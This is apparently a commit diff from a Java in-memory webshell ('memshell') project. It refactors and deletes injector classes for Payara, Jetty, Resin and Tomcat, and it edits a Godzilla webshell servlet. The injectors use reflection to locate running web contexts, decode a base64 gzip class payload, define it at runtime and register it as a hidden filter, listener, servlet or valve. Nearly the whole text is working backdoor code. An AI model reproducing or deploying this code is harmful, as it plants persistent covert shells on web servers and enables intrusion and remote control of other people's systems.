return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
@@ -79,10 +79,9 @@ public class PayaraValveInjector {
System.out.println("valve already injected");
return;
}
Class valveClass;
String valveClassName = "org.apache.catalina.Valve";
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
}
@SuppressWarnings("all")
@@ -115,7 +114,6 @@ public class PayaraValveInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -123,16 +121,13 @@ public class PayaraValveInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyFilterInjector.java
+6 -13
View File
@@ -44,8 +44,7 @@ public class JettyFilterInjector {
return "{{base64Str}}";
}
public void inject(Object context, Object magicFilter) throws Exception {
Class<?> filterClass = magicFilter.getClass();
public void inject(Object context, Object filter) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler");
if (servletHandler == null) {
@@ -65,7 +64,7 @@ public class JettyFilterInjector {
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
}
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filterClass);
Object filterHolder = constructor.newInstance(filter.getClass());
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
// 2. 注入内存马Filter
@@ -183,21 +182,19 @@ public class JettyFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
public boolean isInjected(Object servletHandler) throws Exception {
@@ -238,7 +235,6 @@ public class JettyFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -246,16 +242,13 @@ public class JettyFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyListenerInjector.java
+10 -19
View File
@@ -108,26 +108,21 @@ public class JettyListenerInjector {
throw new Exception("HttpConnection not found");
}
private Object getShell(Object context) {
Object listener = null;
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable e1) {
e1.printStackTrace();
}
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
return listener;
}
public static void inject(Object context, Object listener) throws Exception {
@@ -172,7 +167,6 @@ public class JettyListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -180,16 +174,13 @@ public class JettyListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyServletInjector.java
+4 -11
View File
@@ -118,21 +118,18 @@ public class JettyServletInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = context.getClass().getClassLoader();
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler");
@@ -198,7 +195,6 @@ public class JettyServletInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -206,16 +202,13 @@ public class JettyServletInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraFilterInjector.java
-198
View File
@@ -1,198 +0,0 @@
package com.reajason.javaweb.memshell.payara.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class PayaraFilterInjector {
Logger log = Logger.getLogger(PayaraFilterInjector.class.getName());
static {
new PayaraFilterInjector();
}
public PayaraFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception ignored) {
}
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Object context = getFieldValue(getFieldValue(thread, "target"), "this$0");
if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) {
contexts.add(context);
}
}
}
return contexts;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) {
return;
}
String filterName = getClassName();
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
}
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
log.info("filter added successfully");
}
private boolean isInjected(Object context) throws NoSuchMethodException {
Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()});
if (filterDef != null) {
log.warning("filter already exists");
return true;
}
return false;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraListenerInjector.java
-175
View File
@@ -1,175 +0,0 @@
package com.reajason.javaweb.memshell.payara.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.List;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class PayaraListenerInjector {
Logger log = Logger.getLogger(PayaraListenerInjector.class.getName());
static {
new PayaraListenerInjector();
}
public PayaraListenerInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception ignored) {
}
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Object context = getFieldValue(getFieldValue(thread, "target"), "this$0");
if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) {
contexts.add(context);
}
}
}
return contexts;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object listener) throws Exception {
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners", null, null);
boolean isExist = false;
for (EventListener eventListener : eventListeners) {
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
isExist = true;
break;
}
}
if (!isExist) {
log.info("listener added successfully");
eventListeners.add((EventListener) listener);
} else {
log.warning("listener already exists");
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinFilterInjector.java
+10 -19
View File
@@ -54,9 +54,7 @@ public class ResinFilterInjector {
if (servletInvocationClass != null) {
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null) {
contexts.add(webApp);
}
contexts.add(webApp);
}
}
return Arrays.asList(contexts.toArray());
@@ -64,26 +62,23 @@ public class ResinFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
private void inject(Object context, Object filter) throws Exception {
String filterClassName = getClassName();
if (isInjected(context, filterClassName)) {
if (isInjected(context)) {
System.out.println("filter already injected");
return;
}
@@ -94,8 +89,8 @@ public class ResinFilterInjector {
filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
}
Object filterMappingImpl = filterMappingClass.newInstance();
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern", null, null);
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(urlPattern, "init", null, null);
@@ -105,10 +100,10 @@ public class ResinFilterInjector {
}
@SuppressWarnings("all")
public boolean isInjected(Object context, String evilClassName) throws Exception {
public boolean isInjected(Object context) throws Exception {
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
for (String key : filters.keySet()) {
if (key.contains(evilClassName)) {
if (key.contains(getClassName())) {
return true;
}
}
@@ -132,7 +127,6 @@ public class ResinFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -140,16 +134,13 @@ public class ResinFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinListenerInjector.java
+10 -26
View File
@@ -52,9 +52,7 @@ public class ResinListenerInjector {
if (servletInvocationClass != null) {
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null) {
contexts.add(webApp);
}
contexts.add(webApp);
}
}
return Arrays.asList(contexts.toArray());
@@ -62,43 +60,33 @@ public class ResinListenerInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
private void inject(Object context, Object listener) throws Exception {
if (isInjected(context)) {
return;
List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
for (Object o : listeners) {
if (o.getClass().getName().contains(getClassName())) {
return;
}
}
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
// 清除缓存，否则某些 uri 无法连接
invokeMethod(context, "clearCache", null, null);
}
@SuppressWarnings("unchecked")
public boolean isInjected(Object context) throws Exception {
List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
for (Object listener : listeners) {
if (listener.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
@@ -116,7 +104,6 @@ public class ResinListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -124,16 +111,13 @@ public class ResinListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinServletInjector.java
+7 -19
View File
@@ -46,18 +46,12 @@ public class ResinServletInjector {
Set<Object> contexts = new HashSet<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
Class<?> servletInvocationClass = null;
try {
servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
} catch (Exception e) {
continue;
}
if (servletInvocationClass != null) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null) {
contexts.add(webApp);
}
contexts.add(webApp);
} catch (Exception ignored) {
}
}
return Arrays.asList(contexts.toArray());
@@ -65,21 +59,19 @@ public class ResinServletInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
private void inject(Object context, Object servlet) throws Exception {
@@ -129,7 +121,6 @@ public class ResinServletInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -137,16 +128,13 @@ public class ResinServletInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java
+7 -8
View File
@@ -14,13 +14,19 @@ import java.io.IOException;
* @since 2024/12/15
*/
public class GodzillaServlet extends ClassLoader implements Servlet {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaServlet() {
}
public GodzillaServlet(ClassLoader parent) {
super(parent);
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) req;
@@ -65,13 +71,6 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
}
public GodzillaServlet() {
}
public GodzillaServlet(ClassLoader parent) {
super(parent);
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterInjector.java
+18 -53
View File
@@ -53,40 +53,19 @@ public class TomcatFilterInjector {
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
Object context = null;
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null
} else if (thread.getContextClassLoader() != null
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
}
}
return contexts;
@@ -94,37 +73,27 @@ public class TomcatFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
public boolean isInjected(Object context) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return true;
}
return false;
}
@SuppressWarnings("all")
public void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return;
}
String filterClassName = getClassName();
Object filterDef;
Object filterMap;
try {
@@ -142,10 +111,10 @@ public class TomcatFilterInjector {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance();
}
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
